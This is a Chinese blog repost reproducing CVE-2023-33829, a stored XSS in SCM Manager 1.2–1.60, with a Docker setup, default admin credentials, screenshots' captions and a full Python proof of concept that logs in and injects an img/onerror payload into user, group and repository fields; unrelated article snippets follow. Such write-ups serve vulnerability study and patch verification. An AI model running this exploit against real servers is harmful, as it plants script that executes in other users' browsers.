SCM Manager XSS漏洞复现(CVE-2023-33829)

news2024/11/26 12:36:36

一、漏洞描述

漏洞简述

SCM-Manager 是一款开源的版本库管理软件,同时支持 subversion、mercurial、git 的版本库管理。安装简单,功能较强,提供用户、用户组的权限管理 ,有丰富的插件支持。由于在MIT的许可下是开源的,因此它允许被用于商业用途,而且其代码可以在GitHub上获取到。该项目最初只是被用于研究目的,而在其2.0版本之后,被Cloudogu公司接手管理和开发了其各种代码库,以便为各个公司提供专业的企业级支持。

该漏洞主要为攻击者利用其多个功能的描述字段的代码缺陷,构造payload进行XSS攻击。

漏洞影响范围

供应商:Cloudogu

产品:SCM Manager

确认受影响版本:SCM Manager 1.2 <= 1.60

修复版本:>1.60 最新版本为2.43.1

二、漏洞复现实战

环境搭建

docker镜像:

https://bitbucket.org/sdorra/docker-scm-manager/src/master/

利用shell脚本搭建

shell:

#!/bin/bash

mkdir /var/lib/scm
chown 1000:1000 /var/lib/scm
docker run -v /var/lib/scm:/var/lib/scm -p 8080:8080 sdorra/scm-manager

漏洞复现

首先访问SCM Manager,需身份认证

Username : scmadmin Password: scmadmin

SCM Manager访问

repositories

repository功能下Description字段该漏洞可利用

创建新repository,并payload进行利用

Git类型:

repository git xss payload执行

Subversion类型:

repository sub xss payload执行

Users

User功能下Display Name字段该漏洞可利用

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

创建新repository,并payload进行利用

display利用

display利用

可以看到新创建的账号中Display Name属性下显示异常,且XSS payload利用成功

Groups

Group功能下Description字段该漏洞可利用

groups利用

另外可以根据POC进行利用

POC:

import requests
import argparse
import sys

# Main menu
parser = argparse.ArgumentParser(description='CVE-2023-33829 exploit')
parser.add_argument("-u", "--user", help="Admin user or user with write permissions")
parser.add_argument("-p", "--password", help="password of the user")
args = parser.parse_args()


# Credentials
user = sys.argv[2]
password = sys.argv[4]


# Global Variables
main_url = "http://localhost:8080/scm" # Change URL if its necessary
auth_url = main_url + "/api/rest/authentication/login.json"
users = main_url + "/api/rest/users.json"
groups = main_url + "/api/rest/groups.json"
repos = main_url + "/api/rest/repositories.json"

# Create a session
session = requests.Session()

# Credentials to send
post_data={
  'username': user, # change if you have any other user with write permissions
  'password': password # change if you have any other user with write permissions
}

r = session.post(auth_url, data=post_data)

if r.status_code == 200:
  print("[+] Authentication successfully")
else:
  print("[-] Failed to authenticate")
  sys.exit(1)

new_user={

  "name": "newUser",
  "displayName": "<img src=x οnerrοr=alert('XSS')>",
  "mail": "",
  "password": "",
  "admin": False,
  "active": True,
  "type": "xml"

}

create_user = session.post(users, json=new_user)
print("[+] User with XSS Payload created")

new_group={

  "name": "newGroup",
  "description": "<img src=x οnerrοr=alert('XSS')>",
  "type": "xml"

}

create_group = session.post(groups, json=new_group)
print("[+] Group with XSS Payload created")

new_repo={

  "name": "newRepo",
  "type": "svn",
  "contact": "",
  "description": "<img src=x οnerrοr=alert('XSS')>",
  "public": False

}

create_repo = session.post(repos, json=new_repo)
print("[+] Repository with XSS Payload created")

漏洞修复

建议更新至SCM Manager最新版本,目前为2.43.1

结束语

本文主要介绍了CVE-2023-33829 SCM Manager XSS漏洞复现过程,漏洞主要体现于攻击者利用其多个功能的描述字段的代码缺陷,构造payload进行XSS攻击。

本漏洞可参考之处为敏感功能避免重复调用非敏感功能代码,并做好过滤与校验,进行必要的安全测试。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/616051.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何给证件照替换背景颜色?一键替换证件照背景色的方法

证件照换背景的优点 在申请各种证件时&#xff0c;一张合格的证件照是必不可少的。然而&#xff0c;在拍摄证件照时&#xff0c;往往因为背景、光线等问题导致照片质量不佳。因此&#xff0c;将证件照的背景更换为统一的纯色背景就显得尤为重要。 证件照换背景的主要优点包括…

合并文件解决HiveServer2内存溢出方案

一、文件过多导致HiveServer2内存溢出 1.1查看表文件个数 desc formatted yanyu.tmp• 表文件数量为6522102 1.2查看表文件信息 hadoop fs -ls warehouse/yanyu.db/tmp• 分区为string 类型的time字段&#xff0c;分了2001个区。 1.3.查看某个分区下的文件个数为10000个 …

Jmter压测试

1、常规性能测试--压测 1、添加线程组 线程数模拟用户数&#xff0c;线程数1表示1个用户&#xff0c;如果模拟10个用户就设置线程数为10 Ramp-Up表示在多长时间内开启多少个线程&#xff0c;如果设置为10&#xff0c;表示10s内开启对应的线程数 循环次数 永远表示如果不惦记…

Hibernate+Lombok进行表与表之间关系时插入数据时栈溢出

报错信息如下&#xff1a; 当使用Hibernate和Lombok处理表与表之间的关系时&#xff0c;在插入数据时可能会遇到栈溢出错误。这篇博客将详细讨论此问题的原因&#xff0c;并提供解决办法。 标题: HibernateLombok进行表与表之间关系时插入数据时栈溢出 问题背景 Hibernate是一…

如何在Windows 10中创建屏幕保护程序设置快捷方式

屏幕保护程序是指你在电脑上未处于活动状态并等待指定时间后,电脑屏幕上显示的动态图片或图案。 屏幕保护程序最初用于保护旧的单色显示器免受损坏,但现在它们主要是通过提供密码保护来个性化你的电脑或增强其安全性的一种方式。 一、右键单击或按住桌面上的空白区域,然后…

linuxOPS基础_linux umask

1、什么是umask umask表示创建文件时的默认权限&#xff08;即创建文件时不需要设置而天生的权限&#xff09; 例如&#xff1a; root用户下&#xff0c;touch a &#xff0c;文件a的默认权限是644 普通用户下&#xff0c;touch b &#xff0c;文件b的默认权限是664 644和…

AOSP+WSL+adb搭建安卓开发ebpf环境

0.写在前面 首先我们要明白&#xff0c;安卓的AOSP包含了海量的代码&#xff0c;他包含了包括了&#xff1a; 1.不同架构下&#xff08;音响&#xff0c;手机&#xff0c;电视等等各种基于安卓的设备&#xff09;的上层应用 2.Java API Framework&#xff08;大部分安卓开发…

叉积求二维空间两直线交点以及过两点的直线数学原理

叉积求二维空间两直线交点以及过两点的直线数学原理_wang.chen.xue的博客-CSDN博客

ThreeJS教程:屏幕坐标转标准设备坐标

推荐&#xff1a;将 NSDT场景编辑器 加入你的3D工具链 3D工具集&#xff1a; NSDT简石数字孪生 屏幕坐标转标准设备坐标 在讲解下节课鼠标点击选中模型之前&#xff0c;先给大家讲解下坐标系的问题。 获取鼠标事件坐标 先来了解一些&#xff0c;普通的web前端相关知识。 鼠…

aop原理

1. 使用 1.1 依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-aop</artifactId></dependency>1.2 定义切面类 定义一个切面类&#xff0c;指定增强的方法&#xff0c;方法前两个注解必须…

Axure教程—滚动加载(中继器 )

本文将教大家如何用AXURE中的中继器制作滚动加载效果 一、效果介绍 如图&#xff1a; 预览地址&#xff1a;https://awjggr.axshare.com 下载地址&#xff1a;https://download.csdn.net/download/weixin_43516258/87867798?spm1001.2014.3001.5503 二、功能介绍 向下滚动鼠…

联想YOGA Pro14s电脑运行时总是蓝屏怎么办?

联想YOGA Pro14s电脑运行时总是蓝屏怎么办&#xff1f;最近有用户在使用电脑的时候&#xff0c;电脑总是会自动变成蓝屏&#xff0c;导致自己的操作中断。那么遇到这个情况要怎么去进行问题的解决呢&#xff1f;接下来我们来看看以下的详细解决方法分享吧。 准备工作&#xff1…

通过python封装关键词搜索1688商品列表数据API、1688商品列表API接口、1688API接口

1688商品详情接口是一种用于访问阿里巴巴旗下的批发市场平台上的商品列表信息的API接口。通过该接口&#xff0c;可以获取商品的详细信息&#xff0c;包括商品名称、规格、价格、描述、图片等。这些信息对于买家和卖家来说都非常重要&#xff0c;可以帮助他们更好地了解商品&am…

MyBatisPlus3-条件查询和映射问题(字段、表名)

1. 条件查询三种方式 条件查询多用第三种&#xff1b; 链式写表示且的关系&#xff0c;中间加上or()表示或的关系&#xff1b; 给出相应示例代码&#xff1a; Test public void testGetList(){//方式一&#xff1a;按条件查询/*QueryWrapper<User> userQueryWrapper new…

基于WebGL的智慧化工三维可视化管理系统

前言 作为全球化学品第一生产大国&#xff0c;我国危险化学品规模总量大、涉及品种多、应用范围广、管理链条长、安全风险高&#xff0c;历来是防范化解重大安全风险的重点领域。 危险化学品领域频繁发生的典型事故&#xff0c;暴露出传统安全风险管控手段问题突出。 建设背景…

【裸机驱动LED】使用汇编代码驱动LED(一)—— 寄存器解析篇

为了后续使用C语言驱动LED&#xff0c;事先学习汇编代码驱动LED&#xff0c;有如下好处&#xff1a; 熟悉一些基本的汇编语法了解驱动LED的基本流程了解驱动LED需要用到哪些寄存器作为一个初学者&#xff0c;可以锻炼自己阅读开发文档的能力 本文的主要目的是了解驱动LED的基…

【手撕Spring源码】SpringBoot启动过程中发生了什么?

文章目录 SpringBoot启动过程启动详解启动演示启动过程总结 SpringBoot启动过程 启动详解 SpringBoot的启动分为两个部分&#xff1a; 构造SpringApplication执行run方法 接下来我们先来看看构造方法里面都做了什么事情。 第一步&#xff1a;记录 BeanDefinition 源 大家知…

Jenkins配置邮件通知+钉钉通知,任务构建状态随时掌握

1.前言 Hello&#xff0c;各位小伙伴&#xff0c;大家好&#xff01;&#xff01;&#xff01; 在前面的文章中&#xff0c;我们实现了用Maven项目任务和Pipeline流水线任务来完成对项目的自动化部署。 DockerJenkinsGitee自动化部署maven项目 DockerJenkinsGiteePipeline部…

0001欧几里得算法

首先我们先了解欧几里得这个人。俗话说&#xff1a;不了解一个人&#xff0c;很难走进他的思想。欧几里得是约公元前330年~公元前275年的古希腊数学家&#xff0c;被称为“几何之父”。《几何原本》就是他的著作。而欧几里得算法是《几何原本》中的一个用于求两个数的最大公约数…

以AI为灯,照亮医疗放射防护监管盲区

相信绝大部分人都有在医院拍X光片的经历&#xff0c;它能够让医生更方便快速地找出潜在问题&#xff0c;判断病人健康状况&#xff0c;是医疗诊断过程中的常见检查方式。但同时X射线也是一把双刃剑&#xff0c;它的照射量可在体内累积&#xff0c;对人体血液白细胞有杀伤力&…